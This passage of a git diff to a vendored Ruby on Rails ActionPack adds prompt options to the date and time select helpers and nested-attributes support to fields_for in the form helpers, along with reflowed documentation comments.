         InstanceTag.new(object_name, method, self, options.delete(:object)).to_datetime_select_tag(options, html_options)
@@ -285,6 +314,11 @@ module ActionView
       #   # prefixed with 'payday' rather than 'date'
       #   select_datetime(my_date_time, :prefix => 'payday')
       #
+      #   # Generates a datetime select with a custom prompt. Use :prompt=>true for generic prompts.
+      #   select_datetime(my_date_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
+      #   select_datetime(my_date_time, :prompt => {:hour => true}) # generic prompt for hours
+      #   select_datetime(my_date_time, :prompt => true) # generic prompts for all
+      #
       def select_datetime(datetime = Time.current, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_datetime
       end
@@ -321,6 +355,11 @@ module ActionView
       #   # prefixed with 'payday' rather than 'date'
       #   select_date(my_date, :prefix => 'payday')
       #
+      #   # Generates a date select with a custom prompt. Use :prompt=>true for generic prompts.
+      #   select_date(my_date, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
+      #   select_date(my_date, :prompt => {:hour => true}) # generic prompt for hours
+      #   select_date(my_date, :prompt => true) # generic prompts for all
+      #
       def select_date(date = Date.current, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_date
       end
@@ -352,6 +391,11 @@ module ActionView
       #   # separated by ':' and includes an input for seconds
       #   select_time(my_time, :time_separator => ':', :include_seconds => true)
       #
+      #   # Generates a time select with a custom prompt. Use :prompt=>true for generic prompts.
+      #   select_time(my_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
+      #   select_time(my_time, :prompt => {:hour => true}) # generic prompt for hours
+      #   select_time(my_time, :prompt => true) # generic prompts for all
+      #
       def select_time(datetime = Time.current, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_time
       end
@@ -373,6 +417,10 @@ module ActionView
       #   # that is named 'interval' rather than 'second'
       #   select_second(my_time, :field_name => 'interval')
       #
+      #   # Generates a select field for seconds with a custom prompt.  Use :prompt=>true for a
+      #   # generic prompt.
+      #   select_minute(14, :prompt => 'Choose seconds')
+      #
       def select_second(datetime, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_second
       end
@@ -395,6 +443,10 @@ module ActionView
       #   # that is named 'stride' rather than 'second'
       #   select_minute(my_time, :field_name => 'stride')
       #
+      #   # Generates a select field for minutes with a custom prompt.  Use :prompt=>true for a
+      #   # generic prompt.
+      #   select_minute(14, :prompt => 'Choose minutes')
+      #
       def select_minute(datetime, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_minute
       end
@@ -416,6 +468,10 @@ module ActionView
       #   # that is named 'stride' rather than 'second'
       #   select_hour(my_time, :field_name => 'stride')
       #
+      #   # Generates a select field for hours with a custom prompt.  Use :prompt => true for a
+      #   # generic prompt.
+      #   select_hour(13, :prompt =>'Choose hour')
+      #
       def select_hour(datetime, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_hour
       end
@@ -437,6 +493,10 @@ module ActionView
       #   # that is named 'due' rather than 'day'
       #   select_day(my_time, :field_name => 'due')
       #
+      #   # Generates a select field for days with a custom prompt.  Use :prompt => true for a
+      #   # generic prompt.
+      #   select_day(5, :prompt => 'Choose day')
+      #
       def select_day(date, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_day
       end
@@ -475,6 +535,10 @@ module ActionView
       #   # will use keys like "Januar", "Marts."
       #   select_month(Date.today, :use_month_names => %w(Januar Februar Marts ...))
       #
+      #   # Generates a select field for months with a custom prompt.  Use :prompt => true for a
+      #   # generic prompt.
+      #   select_month(14, :prompt => 'Choose month')
+      #
       def select_month(date, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_month
       end
@@ -502,6 +566,10 @@ module ActionView
       #   # has ascending year values
       #   select_year(2006, :start_year => 2000, :end_year => 2010)
       #
+      #   # Generates a select field for years with a custom prompt.  Use :prompt => true for a
+      #   # generic prompt.
+      #   select_year(14, :prompt => 'Choose year')
+      #
       def select_year(date, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_year
       end
@@ -764,11 +832,30 @@ module ActionView
 
           select_html = "\n"
           select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
+          select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
           select_html << select_options_as_html.to_s
 
           content_tag(:select, select_html, select_options) + "\n"
         end
 
+        # Builds a prompt option tag with supplied options or from default options
+        #  prompt_option_tag(:month, :prompt => 'Select month')
+        #  => "<option value="">Select month</option>"
+        def prompt_option_tag(type, options)
+          default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
+
+          case options
+          when Hash
+            prompt = default_options.merge(options)[type.to_sym]
+          when String
+            prompt = options
+          else
+            prompt = I18n.translate(('datetime.prompts.' + type.to_s).to_sym, :locale => @options[:locale])
+          end
+
+          prompt ? content_tag(:option, prompt, :value => '') : ''
+        end
+
         # Builds hidden input tag for date part and value
         #  build_hidden(:year, 2008)
         #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
@@ -785,7 +872,7 @@ module ActionView
         #  => post[written_on(1i)]
         def input_name_from_type(type)
           prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
-          prefix += "[#{@options[:index]}]" if @options[:index]
+          prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
 
           field_name = @options[:field_name] || type
           if @options[:include_position]
@@ -801,8 +888,8 @@ module ActionView
           input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
         end
 
-        # Given an ordering of datetime components, create the selection html
-        # and join them with their appropriate seperators
+        # Given an ordering of datetime components, create the selection HTML
+        # and join them with their appropriate separators.
         def build_selects_from_types(order)
           select = ''
           order.reverse.each do |type|
@@ -829,15 +916,15 @@ module ActionView
 
     class InstanceTag #:nodoc:
       def to_date_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_date
+        datetime_selector(options, html_options).select_date.html_safe!
       end
 
       def to_time_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_time
+        datetime_selector(options, html_options).select_time.html_safe!
       end
 
       def to_datetime_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_datetime
+        datetime_selector(options, html_options).select_datetime.html_safe!
       end
 
       private
@@ -848,7 +935,7 @@ module ActionView
           options[:field_name]           = @method_name
           options[:include_position]     = true
           options[:prefix]             ||= @object_name
-          options[:index]              ||= @auto_index
+          options[:index]                = @auto_index if defined?(@auto_index) && @auto_index && !options.has_key?(:index)
           options[:datetime_separator] ||= ' &mdash; '
           options[:time_separator]     ||= ' : '
 
@@ -856,7 +943,7 @@ module ActionView
         end
 
         def default_datetime(options)
-          return if options[:include_blank]
+          return if options[:include_blank] || options[:prompt]
 
           case options[:default]
             when nil
@@ -886,15 +973,15 @@ module ActionView
 
     class FormBuilder
       def date_select(method, options = {}, html_options = {})
-        @template.date_select(@object_name, method, options.merge(:object => @object), html_options)
+        @template.date_select(@object_name, method, objectify_options(options), html_options)
       end
 
       def time_select(method, options = {}, html_options = {})
-        @template.time_select(@object_name, method, options.merge(:object => @object), html_options)
+        @template.time_select(@object_name, method, objectify_options(options), html_options)
       end
 
       def datetime_select(method, options = {}, html_options = {})
-        @template.datetime_select(@object_name, method, options.merge(:object => @object), html_options)
+        @template.datetime_select(@object_name, method, objectify_options(options), html_options)
       end
     end
   end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb
index 621e2946..4914ecc5 100644
--- a/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb
+++ b/vendor/rails/actionpack/lib/action_view/helpers/form_helper.rb
@@ -5,17 +5,24 @@ require 'action_view/helpers/form_tag_helper'
 
 module ActionView
   module Helpers
-    # Form helpers are designed to make working with models much easier compared to using just standard HTML
-    # elements by providing a set of methods for creating forms based on your models. This helper generates the HTML
-    # for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form
-    # is submitted (i.e., when the user hits the submit button or <tt>form.submit</tt> is called via JavaScript), the form inputs will be bundled into the <tt>params</tt> object and passed back to the controller.
+    # Form helpers are designed to make working with models much easier
+    # compared to using just standard HTML elements by providing a set of
+    # methods for creating forms based on your models. This helper generates
+    # the HTML for forms, providing a method for each sort of input
+    # (e.g., text, password, select, and so on). When the form is submitted
+    # (i.e., when the user hits the submit button or <tt>form.submit</tt> is
+    # called via JavaScript), the form inputs will be bundled into the
+    # <tt>params</tt> object and passed back to the controller.
     #
-    # There are two types of form helpers: those that specifically work with model attributes and those that don't.
-    # This helper deals with those that work with model attributes; to see an example of form helpers that don't work
-    # with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+    # There are two types of form helpers: those that specifically work with
+    # model attributes and those that don't. This helper deals with those that
+    # work with model attributes; to see an example of form helpers that don't
+    # work with model attributes, check the ActionView::Helpers::FormTagHelper
+    # documentation.
     #
-    # The core method of this helper, form_for, gives you the ability to create a form for a model instance;
-    # for example, let's say that you have a model <tt>Person</tt> and want to create a new instance of it:
+    # The core method of this helper, form_for, gives you the ability to create
+    # a form for a model instance; for example, let's say that you have a model
+    # <tt>Person</tt> and want to create a new instance of it:
     #
     #     # Note: a @person variable will have been created in the controller.
     #     # For example: @person = Person.new
@@ -40,17 +47,22 @@ module ActionView
     #       <%= submit_tag 'Create' %>
     #     <% end %>
     #
-    # This example will render the <tt>people/_form</tt> partial, setting a local variable called <tt>form</tt> which references the yielded FormBuilder.
-    #
-    # The <tt>params</tt> object created when this form is submitted would look like:
+    # This example will render the <tt>people/_form</tt> partial, setting a
+    # local variable called <tt>form</tt> which references the yielded
+    # FormBuilder. The <tt>params</tt> object created when this form is
+    # submitted would look like:
     #
     #     {"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
     #
-    # The params hash has a nested <tt>person</tt> value, which can therefore be accessed with <tt>params[:person]</tt> in the controller.
-    # If were editing/updating an instance (e.g., <tt>Person.find(1)</tt> rather than <tt>Person.new</tt> in the controller), the objects
-    # attribute values are filled into the form (e.g., the <tt>person_first_name</tt> field would have that person's first name in it).
+    # The params hash has a nested <tt>person</tt> value, which can therefore
+    # be accessed with <tt>params[:person]</tt> in the controller. If were
+    # editing/updating an instance (e.g., <tt>Person.find(1)</tt> rather than
+    # <tt>Person.new</tt> in the controller), the objects attribute values are
+    # filled into the form (e.g., the <tt>person_first_name</tt> field would
+    # have that person's first name in it).
     #
-    # If the object name contains square brackets the id for the object will be inserted. For example:
+    # If the object name contains square brackets the id for the object will be
+    # inserted. For example:
     #
     #   <%= text_field "person[]", "name" %>
     #
@@ -58,8 +70,10 @@ module ActionView
     #
     #   <input type="text" id="person_<%= @person.id %>_name" name="person[<%= @person.id %>][name]" value="<%= @person.name %>" />
     #
-    # If the helper is being used to generate a repetitive sequence of similar form elements, for example in a partial
-    # used by <tt>render_collection_of_partials</tt>, the <tt>index</tt> option may come in handy. Example:
+    # If the helper is being used to generate a repetitive sequence of similar
+    # form elements, for example in a partial used by
+    # <tt>render_collection_of_partials</tt>, the <tt>index</tt> option may
+    # come in handy. Example:
     #
     #   <%= text_field "person", "name", "index" => 1 %>
     #
@@ -67,14 +81,17 @@ module ActionView
     #
     #   <input type="text" id="person_1_name" name="person[1][name]" value="<%= @person.name %>" />
     #
-    # An <tt>index</tt> option may also be passed to <tt>form_for</tt> and <tt>fields_for</tt>.  This automatically applies
-    # the <tt>index</tt> to all the nested fields.
+    # An <tt>index</tt> option may also be passed to <tt>form_for</tt> and
+    # <tt>fields_for</tt>.  This automatically applies the <tt>index</tt> to
+    # all the nested fields.
     #
-    # There are also methods for helping to build form tags in link:classes/ActionView/Helpers/FormOptionsHelper.html,
-    # link:classes/ActionView/Helpers/DateHelper.html, and link:classes/ActionView/Helpers/ActiveRecordHelper.html
+    # There are also methods for helping to build form tags in
+    # link:classes/ActionView/Helpers/FormOptionsHelper.html,
+    # link:classes/ActionView/Helpers/DateHelper.html, and
+    # link:classes/ActionView/Helpers/ActiveRecordHelper.html
     module FormHelper
-      # Creates a form and a scope around a specific model object that is used as
-      # a base for questioning about values for the fields.
+      # Creates a form and a scope around a specific model object that is used
+      # as a base for questioning about values for the fields.
       #
       # Rails provides succinct resource-oriented form generation with +form_for+
       # like this:
@@ -86,13 +103,15 @@ module ActionView
       #     <%= f.text_field :author %><br />
       #   <% end %>
       #
-      # There, +form_for+ is able to generate the rest of RESTful form parameters
-      # based on introspection on the record, but to understand what it does we
-      # need to dig first into the alternative generic usage it is based upon.
+      # There, +form_for+ is able to generate the rest of RESTful form
+      # parameters based on introspection on the record, but to understand what
+      # it does we need to dig first into the alternative generic usage it is
+      # based upon.
       #
       # === Generic form_for
       #
-      # The generic way to call +form_for+ yields a form builder around a model:
+      # The generic way to call +form_for+ yields a form builder around a
+      # model:
       #
       #   <% form_for :person, :url => { :action => "update" } do |f| %>
       #     <%= f.error_messages %>
@@ -103,8 +122,8 @@ module ActionView
       #   <% end %>
       #
       # There, the first argument is a symbol or string with the name of the
-      # object the form is about, and also the name of the instance variable the
-      # object is stored in.
+      # object the form is about, and also the name of the instance variable
+      # the object is stored in.
       #
       # The form builder acts as a regular form helper that somehow carries the
       # model. Thus, the idea is that
@@ -137,17 +156,18 @@ module ActionView
       # In any of its variants, the rightmost argument to +form_for+ is an
       # optional hash of options:
       #
-      # * <tt>:url</tt> - The URL the form is submitted to. It takes the same fields
-      #   you pass to +url_for+ or +link_to+. In particular you may pass here a
-      #   named route directly as well. Defaults to the current action.
+      # * <tt>:url</tt> - The URL the form is submitted to. It takes the same
+      #   fields you pass to +url_for+ or +link_to+. In particular you may pass
+      #   here a named route directly as well. Defaults to the current action.
       # * <tt>:html</tt> - Optional HTML attributes for the form tag.
       #
-      # Worth noting is that the +form_for+ tag is called in a ERb evaluation block,
-      # not an ERb output block. So that's <tt><% %></tt>, not <tt><%= %></tt>.
+      # Worth noting is that the +form_for+ tag is called in a ERb evaluation
+      # block, not an ERb output block. So that's <tt><% %></tt>, not
+      # <tt><%= %></tt>.
       #
       # Also note that +form_for+ doesn't create an exclusive scope. It's still
-      # possible to use both the stand-alone FormHelper methods and methods from
-      # FormTagHelper. For example:
+      # possible to use both the stand-alone FormHelper methods and methods
+      # from FormTagHelper. For example:
       #
       #   <% form_for :person, @person, :url => { :action => "update" } do |f| %>
       #     First name: <%= f.text_field :first_name %>
@@ -156,16 +176,16 @@ module ActionView
       #     Admin?    : <%= check_box_tag "person[admin]", @person.company.admin? %>
       #   <% end %>
       #
-      # This also works for the methods in FormOptionHelper and DateHelper that are
-      # designed to work with an object as base, like FormOptionHelper#collection_select
-      # and DateHelper#datetime_select.
+      # This also works for the methods in FormOptionHelper and DateHelper that
+      # are designed to work with an object as base, like
+      # FormOptionHelper#collection_select and DateHelper#datetime_select.
       #
       # === Resource-oriented style
       #
-      # As we said above, in addition to manually configuring the +form_for+ call,
-      # you can rely on automated resource identification, which will use the conventions
-      # and named routes of that approach. This is the preferred way to use +form_for+
-      # nowadays.
+      # As we said above, in addition to manually configuring the +form_for+
+      # call, you can rely on automated resource identification, which will use
+      # the conventions and named routes of that approach. This is the
+      # preferred way to use +form_for+ nowadays.
       #
       # For example, if <tt>@post</tt> is an existing record you want to edit
       #
@@ -205,8 +225,10 @@ module ActionView
       #
       # === Customized form builders
       #
-      # You can also build forms using a customized FormBuilder class. Subclass FormBuilder and override or define some more helpers,
-      # then use your custom builder. For example, let's say you made a helper to automatically add labels to form inputs.
+      # You can also build forms using a customized FormBuilder class. Subclass
+      # FormBuilder and override or define some more helpers, then use your
+      # custom builder. For example, let's say you made a helper to
+      # automatically add labels to form inputs.
       #
       #   <% form_for :person, @person, :url => { :action => "update" }, :builder => LabellingFormBuilder do |f| %>
       #     <%= f.text_field :first_name %>
@@ -219,16 +241,23 @@ module ActionView
       #
       #   <%= render :partial => f %>
       #
-      # The rendered template is <tt>people/_labelling_form</tt> and the local variable referencing the form builder is called <tt>labelling_form</tt>.
+      # The rendered template is <tt>people/_labelling_form</tt> and the local
+      # variable referencing the form builder is called
+      # <tt>labelling_form</tt>.
       #
-      # In many cases you will want to wrap the above in another helper, so you could do something like the following:
+      # The custom FormBuilder class is automatically merged with the options
+      # of a nested fields_for call, unless it's explicitely set.
+      #
+      # In many cases you will want to wrap the above in another helper, so you
+      # could do something like the following:
       #
       #   def labelled_form_for(record_or_name_or_array, *args, &proc)
       #     options = args.extract_options!
       #     form_for(record_or_name_or_array, *(args << options.merge(:builder => LabellingFormBuilder)), &proc)
       #   end
       #
-      # If you don't need to attach a form to a model instance, then check out FormTagHelper#form_tag.
+      # If you don't need to attach a form to a model instance, then check out
+      # FormTagHelper#form_tag.
       def form_for(record_or_name_or_array, *args, &proc)
         raise ArgumentError, "Missing block" unless block_given?
 
@@ -251,7 +280,7 @@ module ActionView
 
         concat(form_tag(options.delete(:url) || {}, options.delete(:html) || {}))
         fields_for(object_name, *(args << options), &proc)
-        concat('</form>')
+        concat('</form>'.html_safe!)
       end
 
       def apply_form_for_options!(object_or_array, options) #:nodoc:
@@ -269,10 +298,12 @@ module ActionView
         options[:url] ||= polymorphic_path(object_or_array)
       end
 
-      # Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes
-      # fields_for suitable for specifying additional model objects in the same form:
+      # Creates a scope around a specific model object like form_for, but
+      # doesn't create the form tags themselves. This makes fields_for suitable
+      # for specifying additional model objects in the same form.
+      #
+      # === Generic Examples
       #
-      # ==== Examples
       #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
       #     First name: <%= person_form.text_field :first_name %>
       #     Last name : <%= person_form.text_field :last_name %>
@@ -282,20 +313,175 @@ module ActionView
       #     <% end %>
       #   <% end %>
       #
-      # ...or if you have an object that needs to be represented as a different parameter, like a Client that acts as a Person:
+      # ...or if you have an object that needs to be represented as a different
+      # parameter, like a Client that acts as a Person:
       #
       #   <% fields_for :person, @client do |permission_fields| %>
       #     Admin?: <%= permission_fields.check_box :admin %>
       #   <% end %>
       #
-      # ...or if you don't have an object, just a name of the parameter
+      # ...or if you don't have an object, just a name of the parameter:
       #
       #   <% fields_for :person do |permission_fields| %>
       #     Admin?: <%= permission_fields.check_box :admin %>
       #   <% end %>
       #
-      # Note: This also works for the methods in FormOptionHelper and DateHelper that are designed to work with an object as base,
-      # like FormOptionHelper#collection_select and DateHelper#datetime_select.
+      # Note: This also works for the methods in FormOptionHelper and
+      # DateHelper that are designed to work with an object as base, like
+      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      #
+      # === Nested Attributes Examples
+      #
+      # When the object belonging to the current scope has a nested attribute
+      # writer for a certain attribute, fields_for will yield a new scope
+      # for that attribute. This allows you to create forms that set or change
+      # the attributes of a parent object and its associations in one go.
+      #
+      # Nested attribute writers are normal setter methods named after an
+      # association. The most common way of defining these writers is either
+      # with +accepts_nested_attributes_for+ in a model definition or by
+      # defining a method with the proper name. For example: the attribute
+      # writer for the association <tt>:address</tt> is called
+      # <tt>address_attributes=</tt>.
+      #
+      # Whether a one-to-one or one-to-many style form builder will be yielded
+      # depends on whether the normal reader method returns a _single_ object
+      # or an _array_ of objects.
+      #
+      # ==== One-to-one
+      #
+      # Consider a Person class which returns a _single_ Address from the
+      # <tt>address</tt> reader method and responds to the
+      # <tt>address_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def address
+      #       @address
+      #     end
+      #
+      #     def address_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # This model can now be used with a nested fields_for, like so:
+      #
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     ...
+      #     <% person_form.fields_for :address do |address_fields| %>
+      #       Street  : <%= address_fields.text_field :street %>
+      #       Zip code: <%= address_fields.text_field :zip_code %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # When address is already an association on a Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address
+      #   end
+      #
+      # If you want to destroy the associated model through the form, you have
+      # to enable it first using the <tt>:allow_destroy</tt> option for
+      # +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_one :address
+      #     accepts_nested_attributes_for :address, :allow_destroy => true
+      #   end
+      #
+      # Now, when you use a form element with the <tt>_delete</tt> parameter,
+      # with a value that evaluates to +true+, you will destroy the associated
+      # model (eg. 1, '1', true, or 'true'):
+      #
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     ...
+      #     <% person_form.fields_for :address do |address_fields| %>
+      #       ...
+      #       Delete: <%= address_fields.check_box :_delete %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # ==== One-to-many
+      #
+      # Consider a Person class which returns an _array_ of Project instances
+      # from the <tt>projects</tt> reader method and responds to the
+      # <tt>projects_attributes=</tt> writer method:
+      #
+      #   class Person
+      #     def projects
+      #       [@project1, @project2]
+      #     end
+      #
+      #     def projects_attributes=(attributes)
+      #       # Process the attributes hash
+      #     end
+      #   end
+      #
+      # This model can now be used with a nested fields_for. The block given to
+      # the nested fields_for call will be repeated for each instance in the
+      # collection:
+      #
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     ...
+      #     <% person_form.fields_for :projects do |project_fields| %>
+      #       <% if project_fields.object.active? %>
+      #         Name: <%= project_fields.text_field :name %>
+      #       <% end %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # It's also possible to specify the instance to be used:
+      #
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     ...
+      #     <% @person.projects.each do |project| %>
+      #       <% if project.active? %>
+      #         <% person_form.fields_for :projects, project do |project_fields| %>
+      #           Name: <%= project_fields.text_field :name %>
+      #         <% end %>
+      #       <% end %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # Or a collection to be used:
+      #
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     ...
+      #     <% person_form.fields_for :projects, @active_projects do |project_fields| %>
+      #       Name: <%= project_fields.text_field :name %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # When projects is already an association on Person you can use
+      # +accepts_nested_attributes_for+ to define the writer method for you:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects
+      #   end
+      #
+      # If you want to destroy any of the associated models through the
+      # form, you have to enable it first using the <tt>:allow_destroy</tt>
+      # option for +accepts_nested_attributes_for+:
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :projects
+      #     accepts_nested_attributes_for :projects, :allow_destroy => true
+      #   end
+      #
+      # This will allow you to specify which models to destroy in the
+      # attributes hash by adding a form element for the <tt>_delete</tt>
+      # parameter with a value that evaluates to +true+
+      # (eg. 1, '1', true, or 'true'):
+      #
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     ...
+      #     <% person_form.fields_for :projects do |project_fields| %>
+      #       Delete: <%= project_fields.check_box :_delete %>
+      #     <% end %>
+      #   <% end %>
       def fields_for(record_or_name_or_array, *args, &block)
         raise ArgumentError, "Missing block" unless block_given?
         options = args.extract_options!
@@ -316,7 +502,8 @@ module ActionView
       # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). The text of label will default to the attribute name unless you specify
       # it explicitly. Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
-      # onto the HTML as an HTML element attribute as in the example shown.
+      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+      # target labels for radio_button tags (where the value is used in the ID of the input tag).
       #
       # ==== Examples
       #   label(:post, :title)
@@ -328,6 +515,9 @@ module ActionView
       #   label(:post, :title, "A short title", :class => "title_label")
       #   # => <label for="post_title" class="title_label">A short title</label>
       #
+      #   label(:post, :privacy, "Public Post", :value => "public")
+      #   # => <label for="post_privacy_public">Public Post</label>
+      #
       def label(object_name, method, text = nil, options = {})
         InstanceTag.new(object_name, method, self, options.delete(:object)).to_label_tag(text, options)
       end
@@ -498,8 +688,10 @@ module ActionView
 
       # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
-      # radio button will be checked. Additional options on the input tag can be passed as a
-      # hash with +options+.
+      # radio button will be checked.
+      #
+      # To force the radio button to be checked pass <tt>:checked => true</tt> in the
+      # +options+ hash. You may pass HTML options there as well.
       #
       # ==== Examples
       #   # Let's say that @post.category returns "rails":
@@ -541,8 +733,10 @@ module ActionView
 
       def to_label_tag(text = nil, options = {})
         options = options.stringify_keys
+        tag_value = options.delete("value")
         name_and_id = options.dup
-        add_default_name_and_id(name_and_id)
+        name_and_id["id"] = name_and_id["for"]
+        add_default_name_and_id_for_value(tag_value, name_and_id)
         options.delete("index")
         options["for"] ||= name_and_id["id"]
         content = (text.blank? ? nil : text.to_s) || method_name.humanize
@@ -574,11 +768,7 @@ module ActionView
           checked = self.class.radio_button_checked?(value(object), tag_value)
         end
         options["checked"]  = "checked" if checked
-        pretty_tag_value    = tag_value.to_s.gsub(/\s/, "_").gsub(/\W/, "").downcase
-        options["id"]     ||= defined?(@auto_index) ?
-          "#{tag_id_with_index(@auto_index)}_#{pretty_tag_value}" :
-          "#{tag_id}_#{pretty_tag_value}"
-        add_default_name_and_id(options)
+        add_default_name_and_id_for_value(tag_value, options)
         tag("input", options)
       end
 
@@ -605,7 +795,9 @@ module ActionView
         end
         options["checked"] = "checked" if checked
         add_default_name_and_id(options)
-        tag("input", options) << tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
+        hidden = tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
+        checkbox = tag("input", options)
+        (hidden + checkbox).html_safe!
       end
 
       def to_boolean_select_tag(options = {})
@@ -677,6 +869,17 @@ module ActionView
       end
 
       private
+        def add_default_name_and_id_for_value(tag_value, options)
+          unless tag_value.nil?
+            pretty_tag_value = tag_value.to_s.gsub(/\s/, "_").gsub(/\W/, "").downcase
+            specified_id = options["id"]
+            add_default_name_and_id(options)
+            options["id"] += "_#{pretty_tag_value}" unless specified_id
+          else
+            add_default_name_and_id(options)
+          end
+        end
+
         def add_default_name_and_id(options)
           if options.has_key?("index")
             options["name"] ||= tag_name_with_index(options["index"])
@@ -724,6 +927,7 @@ module ActionView
       attr_accessor :object_name, :object, :options
 
       def initialize(object_name, object, template, options, proc)
+        @nested_child_index = {}
         @object_name, @object, @template, @options, @proc = object_name, object, template, options, proc
         @default_options = @options ? @options.slice(:index) : {}
         if @object_name.to_s.match(/\[\]$/)
@@ -735,11 +939,15 @@ module ActionView
         end
       end
 
-      (field_helpers - %w(label check_box radio_button fields_for)).each do |selector|
+      (field_helpers - %w(label check_box radio_button fields_for hidden_field)).each do |selector|
         src = <<-end_src
-          def #{selector}(method, options = {})
-            @template.send(#{selector.inspect}, @object_name, method, objectify_options(options))
-          end
+          def #{selector}(method, options = {})  # def text_field(method, options = {})
+            @template.send(                      #   @template.send(
+              #{selector.inspect},               #     "text_field",
+              @object_name,                      #     @object_name,
+              method,                            #     method,
+              objectify_options(options))        #     objectify_options(options))
+          end                                    # end
         end_src
         class_eval src, __FILE__, __LINE__
       end
@@ -754,9 +962,18 @@ module ActionView
           index = ""
         end
 
+        if options[:builder]
+          args << {} unless args.last.is_a?(Hash)
+          args.last[:builder] ||= options[:builder]
+        end
+
         case record_or_name_or_array
         when String, Symbol
-          name = "#{object_name}#{index}[#{record_or_name_or_array}]"
+          if nested_attributes_association?(record_or_name_or_array)
+            return fields_for_with_nested_attributes(record_or_name_or_array, args, block)
+          else
+            name = "#{object_name}#{index}[#{record_or_name_or_array}]"
+          end
         when Array
           object = record_or_name_or_array.last
           name = "#{object_name}#{index}[#{ActionController::RecordIdentifier.singular_class_name(object)}]"
@@ -781,6 +998,11 @@ module ActionView
       def radio_button(method, tag_value, options = {})
         @template.radio_button(@object_name, method, tag_value, objectify_options(options))
       end
+      
+      def hidden_field(method, options = {})
+        @emitted_hidden_id = true if method == :id
+        @template.hidden_field(@object_name, method, objectify_options(options))
+      end
 
       def error_message_on(method, *args)
         @template.error_message_on(@object, method, *args)
@@ -794,10 +1016,54 @@ module ActionView
         @template.submit_tag(value, options.reverse_merge(:id => "#{object_name}_submit"))
       end
 
+      def emitted_hidden_id?
+        @emitted_hidden_id
+      end
+
       private
         def objectify_options(options)
           @default_options.merge(options.merge(:object => @object))
         end
+
+        def nested_attributes_association?(association_name)
+          @object.respond_to?("#{association_name}_attributes=")
+        end
+
+        def fields_for_with_nested_attributes(association_name, args, block)
+          name = "#{object_name}[#{association_name}_attributes]"
+          association = args.first
+
+          if association.respond_to?(:new_record?)
+            association = [association] if @object.send(association_name).is_a?(Array)
+          elsif !association.is_a?(Array)
+            association = @object.send(association_name)
+          end
+
+          if association.is_a?(Array)
+            explicit_child_index = args.last[:child_index] if args.last.is_a?(Hash)
+            association.map do |child|
+              fields_for_nested_model("#{name}[#{explicit_child_index || nested_child_index(name)}]", child, args, block)
+            end.join
+          elsif association
+            fields_for_nested_model(name, association, args, block)
+          end
+        end
+
+        def fields_for_nested_model(name, object, args, block)
+          if object.new_record?
+            @template.fields_for(name, object, *args, &block)
+          else
+            @template.fields_for(name, object, *args) do |builder|
+              block.call(builder)
+              @template.concat builder.hidden_field(:id) unless builder.emitted_hidden_id?
+            end
+          end
+        end
+
+        def nested_child_index(name)
+          @nested_child_index[name] ||= -1
+          @nested_child_index[name] += 1
+        end
     end
   end
 
